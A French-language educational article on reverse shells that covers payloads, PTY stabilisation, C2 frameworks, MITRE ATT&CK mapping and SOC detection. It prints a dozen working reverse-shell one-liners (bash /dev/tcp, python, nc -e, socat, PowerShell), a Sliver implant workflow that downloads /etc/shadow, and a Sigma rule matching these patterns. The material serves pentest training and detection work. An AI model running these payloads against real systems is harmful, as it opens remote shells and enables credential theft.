Glossaire cyber

Reverse shell : payloads, stabilisation et détection SOC

Reverse shell vs bind shell, payloads bash/python/socat, stabilisation PTY, détection EDR/SIEM, mapping MITRE ATT&CK T1059 et hardening 2026.

Naim Aouaichia
15 min de lecture
  • Reverse shell
  • Pentest
  • Red team
  • SOC
  • MITRE ATT&CK
  • Cybersécurité

Un reverse shell ouvre une connexion sortante de la cible vers l'attaquant pour fournir un accès interactif au système, devenu le standard de facto du pentest depuis 2015 parce que le trafic egress 443/TCP est rarement filtré sortant, contrairement aux ports d'écoute entrants des bind shells qui sont bloqués par défaut sur 95%+ des firewalls modernes. En 2026, l'écosystème est dominé par 3 niveaux d'outillage : revshells.com + payloads PayloadsAllTheThings (25+ variantes bash/python/php/powershell/golang, gratuit, standard CTF) ; msfvenom (Metasploit Framework, Rapid7, génération binaires ELF/PE/APK) ; frameworks C2 modernes Sliver (BishopFox, OSS Apache 2.0, écrit Go, devenu standard red team post-leak Cobalt Strike 2020-2022), Mythic (Cody Thomas, OSS BSD, modulaire), Cobalt Strike (Fortra, ~5400 €/user/an, déclinant). Côté défense : MITRE ATT&CK T1059 (Command and Scripting Interpreter), T1071 (Application Layer Protocol), T1571 (Non-Standard Port) cataloguent les patterns ; les EDR modernes (CrowdStrike Falcon, SentinelOne Singularity, Microsoft Defender XDR, Wazuh OSS) détectent ~90% des reverse shells génériques mais seulement 30-50% des frameworks C2 sophistiqués selon MITRE Engenuity ATT&CK Evaluations Round 5 (2024). Cet article documente les payloads canoniques, les techniques de stabilisation PTY, le mapping MITRE ATT&CK, les signaux de détection SOC, et les anti-patterns persistants, dans un cadre strictement autorisé (CTF, pentest, red team avec contrat, recherche défensive).

Pour le contexte adverse : voir TTP (Tactics, Techniques and Procedures). Pour la détection : EDR et SIEM.

Le bon mental model : reverse shell = canal d'exécution interactif, pas exploit

Confusion fréquente : croire que le reverse shell est l'exploit. Faux. Le reverse shell est un canal de communication post-exploit qui présuppose qu'une vulnérabilité ait déjà permis l'exécution de code (RCE, command injection, file upload exploit, vol credential SSH). Une RCE sur une CVE-2024-21887 Ivanti livre l'exécution ; le reverse shell transforme cette exécution en accès interactif persistant pendant quelques minutes/heures.

Cette distinction est critique en pentest et en red team :

  • L'exploit prouve la vulnérabilité.
  • Le reverse shell prouve la valeur opérationnelle de la vulnérabilité (peut-on s'installer, pivoter, exfiltrer ?).

C'est le delta entre un POC vulnérabilité (CVSS) et un POC exploit utile en breach reporting. Plus le reverse shell est stable et discret, plus la valeur démontrée du chemin d'attaque est élevée.

Reverse shell vs bind shell : matrice de décision

CritèreBind shellReverse shell
Direction connexionAttaquant → cibleCible → attaquant
Port ouvertSur la cible (entrant)Sur l'attaquant (entrant)
Bypass firewall périmétrique❌ Bloqué dans 95% des cas✅ Marche en egress 443
Bypass NAT/proxy attaquant✅ Pas besoin❌ Demande IP publique ou tunnel
Détection IDS facilePort d'écoute inhabituelConnexion sortante anormale
Cas d'usage 2026Tests internes LAN, NAT lourd attaquant95% des engagements
Setup attaquantnc listener IP ciblenc -lvnp 443 listener public
Stealth potentielFaible (port ouvert visible)Moyen-haut (TLS/HTTP imitable)
Persistence nativeNonNon (besoin C2 framework)

Payloads canoniques : 12 variantes à connaître

Variantes Linux les plus utilisées en CTF / pentest 2026, à connaître par cœur :

# 1. Bash classique (TCP redirect)
bash -i >& /dev/tcp/10.10.10.10/443 0>&1
 
# 2. Bash avec FIFO (parfois moins détecté)
mkfifo /tmp/p; cat /tmp/p | /bin/bash -i 2>&1 | nc 10.10.10.10 443 > /tmp/p
 
# 3. Python 3 (le plus stable)
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.10.10",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
 
# 4. Perl (utile sur systèmes minimaux)
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
# 5. PHP (web shell post-RCE)
php -r '$sock=fsockopen("10.10.10.10",443);exec("/bin/sh -i <&3 >&3 2>&3");'
 
# 6. Ruby
ruby -rsocket -e 'f=TCPSocket.open("10.10.10.10",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 
# 7. Netcat traditional (si dispo)
nc 10.10.10.10 443 -e /bin/bash
 
# 8. Netcat OpenBSD (sans -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f
 
# 9. Socat (TLS encrypted, le plus stealth)
socat OPENSSL:10.10.10.10:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
 
# 10. Awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print 0 € |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
 
# 11. Telnet (très visible, pour fallback)
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.10 443 0<$TF | /bin/sh 1>$TF
 
# 12. xterm (display redirect)
xterm -display 10.10.10.10:1

Variante PowerShell (Windows) :

# PowerShell reverse shell standard (souvent détecté par AMSI)
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (Invoke-Expression $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()
 
# Variante encodée base64 + bypass AMSI partiel (à connaître pour blue team)
powershell -nop -w hidden -enc <BASE64>
# Listener attaquant, 3 options
# Option 1: nc traditionnel (rapide, brut)
nc -lvnp 443
 
# Option 2: rlwrap pour history et arrows (UX bien meilleure)
rlwrap nc -lvnp 443
 
# Option 3: pwncat-cs (Caleb Stewart, post-2021, le meilleur en 2026)
pip install pwncat-cs
pwncat-cs -lp 443  # auto-stabilization PTY, post-exploit toolkit intégré

Stabilisation PTY : la séquence canonique

Un reverse shell brut est non-interactive, pas de Tab autocomplétion, Ctrl-C tue le shell, vim crash. Stabilisation Linux en 4 étapes :

# Côté cible (juste après réception du shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Alternatives si python3 absent :
# python -c 'import pty; pty.spawn("/bin/bash")'
# script -qc /bin/bash /dev/null
# /usr/bin/script -qc /bin/bash /dev/null
 
# Côté attaquant
# 1. Suspendre le shell
Ctrl-Z
 
# 2. Mettre le terminal local en raw mode + remettre le shell foreground
stty raw -echo; fg
 
# 3. Côté shell (taper aveugle)
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 cols 120  # adapter à ta taille terminal locale (stty -a pour voir)
 
# 4. Vérifier
clear  # le terminal s'efface proprement = stabilisation OK

Tableau de troubleshooting :

SymptômeCause probableFix
Tab ne complète pasPTY non allouépython3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-C tue le shellLocal terminal en mode cookedstty raw -echo; fg
Vim crash en ouvertureTERM non définiexport TERM=xterm
Output qui scroll bizarreTaille terminal incorrectestty rows X cols Y
Echo doublé-echo manquantstty raw -echo
Caractères ANSI cassésTERM=dumbexport TERM=xterm-256color

Frameworks C2 modernes : Sliver, Mythic, Cobalt Strike

État du marché framework C2 2026, filtré sur outils légitimes (l'usage hors autorisation est illégal partout) :

FrameworkOrigineLicenceForceFaiblesse
SliverBishopFox, 2019OSS Apache 2.0Référence 2024-2026, Go, mTLS/WireGuard/DNS, multi-OSEmpreinte plus grande qu'un PowerShell scriptlet
MythicCody Thomas, 2018OSS BSD 3-clauseModulaire, agents custom (Apollo, Athena, Apfell)Setup initial plus complexe
Cobalt StrikeFortra (ex Strategic Cyber LLC)Commercial ~5400 €/user/anRéférence historique, beacons richesLeaks 4.x compromettent attribution
HavocC5pider, 2022OSS GPLModerne, beacon Demon, UI propreCommunauté plus petite
Brute Ratel C4Chetan Nayak, 2020Commercial ~4500 €/user/anAnti-EDR fortLeaks 2022 ont dégradé attribution
Empire (PoshC2-like)BC Security, 2015+OSS BSDPowerShell-heavy, PythonTrès détecté en 2026
Metasploit Pro / FreeRapid7Free / CommercialRéférence pédagogiqueEasy detection (signatures connues)
Pupyn1nj4sec, 2015OSS BSDPython-based, multi-OSMaintenance ralentie
Villaint3l3machus, 2022OSS MITLéger, multi-handlerNiche
CalderaMITREOSS Apache 2.0Adversary emulation, ATT&CK-alignedPlus orienté simulation que C2 réel

Workflow type Sliver :

# Setup serveur Sliver (machine attaquant)
sliver-server
 
sliver > generate --mtls 10.10.10.10:443 --os linux --arch amd64 --save /tmp/agent.elf
sliver > mtls --lport 443
sliver > implants  # liste agents
 
# Sur la cible (post-RCE)
chmod +x agent.elf && ./agent.elf &
 
# Reprise interactive Sliver
sliver > use <session-id>
sliver (DEMON_ALPHA) > getuid
sliver (DEMON_ALPHA) > shell  # PTY auto-stabilisé
sliver (DEMON_ALPHA) > netstat
sliver (DEMON_ALPHA) > processes -t  # tree
sliver (DEMON_ALPHA) > download /etc/shadow

Mapping MITRE ATT&CK : T1059, T1071, T1571

ATT&CKTacticDescriptionDétection clé
T1059ExecutionCommand and Scripting InterpreterSysmon Event ID 1, EDR process tree
T1059.001ExecutionPowerShellAMSI logs, ScriptBlock logging Event ID 4104
T1059.003ExecutionWindows Command Shellcmd.exe avec args inhabituels
T1059.004ExecutionUnix Shellbash/sh avec stdin/stdout redirect réseau
T1059.006ExecutionPythonpython.exe interactive avec socket
T1059.007ExecutionJavaScriptwscript / cscript suspect
T1071C&CApplication Layer ProtocolOutbound HTTPS vers FQDN low-rep
T1071.001C&CWeb Protocols (HTTP/HTTPS)TLS SNI mismatch, JA3 fingerprint
T1071.004C&CDNSDNS exfil patterns, beaconing
T1571C&CNon-Standard PortOutbound vers port non-standard métier
T1572C&CProtocol TunnelingDNS / ICMP tunneling
T1573C&CEncrypted ChannelTLS custom cert, mTLS implants

Règles Sigma type pour SIEM (Splunk, Elastic, Sentinel, Wazuh) :

title: Suspicious Reverse Shell Pattern (Linux)
status: stable
description: Detects bash, python, perl, nc patterns indicative of reverse shell
references:
  - https://attack.mitre.org/techniques/T1059/004/
logsource:
  product: linux
  category: process_creation
detection:
  selection_bash:
    Image|endswith: '/bash'
    CommandLine|contains:
      - '/dev/tcp/'
      - 'bash -i'
  selection_python:
    Image|contains: 'python'
    CommandLine|contains:
      - 'socket.socket'
      - 'pty.spawn'
      - 's.connect('
  selection_nc:
    Image|endswith:
      - '/nc'
      - '/ncat'
    CommandLine|contains:
      - '-e /bin/'
      - '-c bash'
      - 'mkfifo'
  condition: 1 of selection_*
falsepositives:
  - Legitimate admin scripts (whitelist)
  - DevOps automation tools
level: high
tags:
  - attack.execution
  - attack.t1059.004

Détection SOC : signaux à corréler

Cinq catégories de signaux pour détecter un reverse shell en 2026 :

CatégorieOutilSignalTTP ATT&CK
Process executionSysmon, EDRbash -i, python -c 'import socket', nc -eT1059
Network outboundZeko, Falco, SuricataTCP egress vers IP non whitelistée par process inhabituelT1071, T1571
DNSCisco Umbrella, Cloudflare GatewayFQDN low-rep, jeune (<7j), entropy élevéeT1071.004
TLS fingerprintJA3, JA4 (Salesforce 2024)JA3 cluster connu Sliver/Cobalt/MythicT1573
User behaviorUEBA Splunk, Microsoft DefenderCompte service qui exec bash, tiers de session anormauxT1078

Performance détection EDR mesurée par MITRE Engenuity ATT&CK Evaluations Round 5 (mai 2024) sur APT29 / Pyramid C2 :

EDRDetection rateVisibilityAnalytics coverage
Microsoft Defender XDR~95%Excellent100/100
CrowdStrike Falcon~93%Excellent99/100
SentinelOne Singularity~90%Très bon95/100
Palo Alto Cortex XDR~85%Très bon92/100
Trellix HX (FireEye)~80%Bon88/100
Wazuh OSS~50%Moyen (SIEM-driven)60/100
osquery + Fleet~40%Limité (telemetry pure)50/100

Sur frameworks C2 modernes type Sliver custom, Mythic Apollo : taux baissent à 30-50% parce que les signatures statiques échouent et il faut détection comportementale + threat hunting actif.

Erreurs fréquentes côté attaquant (pentest) et défenseur

ErreurCôtéSymptômeFix
Reverse shell brut sans stabilisationPentestTab cassé, Ctrl-C tue sessionStabiliser PTY immédiatement
Port 4444 par défaut MetasploitPentestDétection signature SOC instantanéePort 443/8443, jitter, custom payload
Pas de fallback si EDR killPentestEngagement perdu en 5 minImplant Sliver/Mythic en backup
Listener nc sans rlwrapPentestPas d'history, frustrationrlwrap nc -lvnp ou pwncat-cs
Cleartext HTTP/TCP en 2026PentestDPI proxy bloqueTLS via socat ou C2 framework
Pas de log Sysmon Event 1 activéSOCProcess exec invisibleDéployer Sysmon avec config Olaf Hartong
AMSI désactivé sur WindowsSOCPowerShell payloads invisiblesForcer AMSI + ScriptBlock logging
EDR mode "alert only" prodSOCDétection mais pas de blocageBascule prevent mode après tuning
Pas de network egress filteringSOCReverse shells 443 partent directEgress whitelist domaines connus
Pas de threat hunting actifSOCImplants C2 modernes invisiblesHunt hebdomadaire ATT&CK-driven
Whitelist process trop permissiveSOCbash, python, nc passentAllowlist par hash + signing
Pas de DNS sinkholeSOCDNS exfil C2 passeCisco Umbrella / Cloudflare Gateway

Pour aller plus loin

Points clés à retenir

  • Reverse shell vs bind shell : reverse shell domine 95% des engagements 2026 parce que egress 443/TCP rarement filtré sortant. Bind shells survivent en cas de NAT/proxy attaquant ou tests internes LAN ouvert.
  • Le reverse shell est un canal d'exécution interactif post-exploit, pas l'exploit lui-même. Présuppose une RCE / command injection / file upload exploit en amont.
  • 3 niveaux d'outillage 2026 : revshells.com (CTF/pentest, gratuit, 25+ variantes), msfvenom (Metasploit Rapid7, binaires ELF/PE/APK), Sliver/Mythic/Cobalt Strike (red team C2 sérieux).
  • Stabilisation PTY canonique en 4 étapes : python3 -c 'import pty; pty.spawn("/bin/bash")' → Ctrl-Z → stty raw -echo; fgexport TERM=xterm; stty rows 40 cols 120. Pwncat-cs automatise.
  • Sliver (BishopFox 2019, OSS Apache 2.0, Go) = standard red team 2024-2026 après leaks Cobalt Strike 4.x. mTLS, WireGuard, DNS, HTTP transports natifs.
  • MITRE Engenuity ATT&CK Evaluations Round 5 (mai 2024) : Microsoft Defender XDR ~95% détection, CrowdStrike Falcon ~93%, SentinelOne ~90%. Wazuh OSS ~50%.
  • EDR détecte ~90% des reverse shells génériques mais seulement 30-50% des C2 modernes (Sliver custom, Mythic Apollo) → threat hunting actif obligatoire.
  • Mapping ATT&CK clé : T1059 Command and Scripting Interpreter, T1071 Application Layer Protocol, T1571 Non-Standard Port, T1572 Protocol Tunneling, T1573 Encrypted Channel.
  • 5 catégories de détection SOC : process execution (Sysmon Event 1, AMSI ScriptBlock 4104), network outbound (Zeek, Falco), DNS (Cisco Umbrella), TLS fingerprint (JA3/JA4 Salesforce 2024), UEBA.
  • Cadre légal : usage hors autorisation = loi Godfrain article 323-1 Code pénal FR (5 ans + 150k€). Toujours contrat signé scope précis avant engagement, ou cadre CTF/labs.
  • Anti-pattern pentest : reverse shell brut nc sans fallback C2 → engagement perdu en 5 min sur EDR moderne. Bascule Sliver/Mythic dès accès initial.
  • Anti-pattern SOC : EDR alert only en prod, pas d'egress filtering, pas de threat hunting hebdomadaire ATT&CK-driven. Détection passive échoue contre adversaire compétent.

Questions fréquentes

  • Reverse shell vs bind shell : différence pratique en pentest 2026 ?
    Le **bind shell** ouvre un port d'écoute sur la machine cible, l'attaquant s'y connecte. Bloqué par défaut par tous les firewalls modernes en entrée, quasi inutilisable hors LAN ouvert. Le **reverse shell** fait l'inverse : la cible se connecte vers l'attaquant. Marche dans 95% des contextes parce que le trafic egress 443/TCP est rarement filtré sortant. Le reverse shell est devenu le standard de facto en pentest depuis 2015 environ. Bind shells survivent en cas de NAT/proxy contraignant côté attaquant ou tests internes LAN segmenté.
  • Comment générer rapidement un reverse shell payload en 2026 ?
    Trois options selon contexte. **revshells.com** (PayloadsAllTheThings, web) : interface qui génère 25+ variantes (bash, python, php, perl, ruby, powershell, golang) prêtes à copier, démarrage standard CTF/pentest. **msfvenom** (Metasploit, Rapid7) pour binaires : `msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf -o sh.elf` génère ELF/PE/APK signés. **Sliver** (BishopFox, écrit Go) ou **Mythic** (frameworks C2 OSS) pour ops red team longue durée avec TLS, jitter, encryption. Position : revshells.com pour CTF/pentest, msfvenom pour binaires custom, Sliver/Mythic pour engagement red team sérieux.
  • Comment stabiliser un reverse shell après l'obtention ?
    Un reverse shell brut est **non-interactive** : pas de Tab, pas de Ctrl-C, pas de vim. Stabilisation en 4 commandes après ouverture sur Linux : 1) `python3 -c 'import pty; pty.spawn("/bin/bash")'` ou `script -qc /bin/bash /dev/null` (PTY allocation). 2) Ctrl-Z (suspend). 3) Côté listener : `stty raw -echo; fg` (remettre en raw mode, foreground). 4) `export TERM=xterm; stty rows 40 cols 120` (taille terminal). Ça donne un shell interactif fonctionnel. Sur Windows post-exploit : passer par PowerShell `Invoke-WebRequest -OutFile` puis switch à un implant moderne (Sliver, Mythic) car cmd.exe natif est misérable.
  • Quels indicateurs surveiller côté SOC pour détecter un reverse shell ?
    Cinq signaux à corréler. 1) **Process execution** : `bash -i`, `nc -e`, `python -c 'import socket'`, `powershell -enc` (Sysmon Event ID 1, EDR process tree). 2) **Network outbound** : connexion sortante vers IP non whitelistée sur port 443/4444/8443 d'un process inhabituel (Zeek, Falco, EDR network module). 3) **DNS** : requêtes vers domaines suspects (FQDN exotique, jeune, low-rep), Cisco Umbrella, Cloudflare Gateway, Splunk DNS analytics. 4) **TTPs** : MITRE ATT&CK T1059, T1071, T1571 mappés. 5) **Anomalies utilisateur** : compte service qui fait du `bash` ou outbound HTTPS, exec de binaires hors `/usr/bin`. Stack EDR moderne (CrowdStrike, SentinelOne, Microsoft Defender, ELISA Wazuh) détecte ~90% des reverse shells génériques 2026, ~30-50% des frameworks C2 sophistiqués (Sliver, Mythic) selon MITRE Engenuity Round 5 (2024).
  • Sliver vs Mythic vs Cobalt Strike en 2026 : lequel utiliser ?
    **Sliver** (BishopFox, OSS Apache 2.0, écrit Go) : devenu standard red team après que Cobalt Strike a été cracké/leaked massivement 2020-2022. mTLS, WireGuard, DNS, HTTP transports, persistence Windows/Linux/macOS. Communauté active 2024-2026, adopté par PortSwigger, Trail of Bits, Pentera. **Mythic** (Cody Thomas, OSS BSD 3-clause, écrit Python) : framework modulaire orienté agents custom, PoshC2-like, idéal R&D. **Cobalt Strike** (Fortra, ex-Strategic Cyber) : référence historique, ~5400 €/user/an, mais leaks 4.x rendent attribution difficile en blue team. Position : Sliver pour 90% des engagements 2026, Mythic pour custom/research, Cobalt Strike réservé à clients qui l'exigent contractuellement.

Écrit par

Naim Aouaichia

Cyber Security Engineer et fondateur de Zeroday Cyber Academy

Ingénieur cybersécurité avec un parcours hybride : développement, DevOps Capgemini, DevSecOps IN Groupe (sécurité des documents d'identité régaliens), audits CAC 40. Fondateur de Hash24Security et Zeroday Cyber Academy. Présence LinkedIn 43 000 abonnés, Substack Zeroday Notes 23 000 abonnés.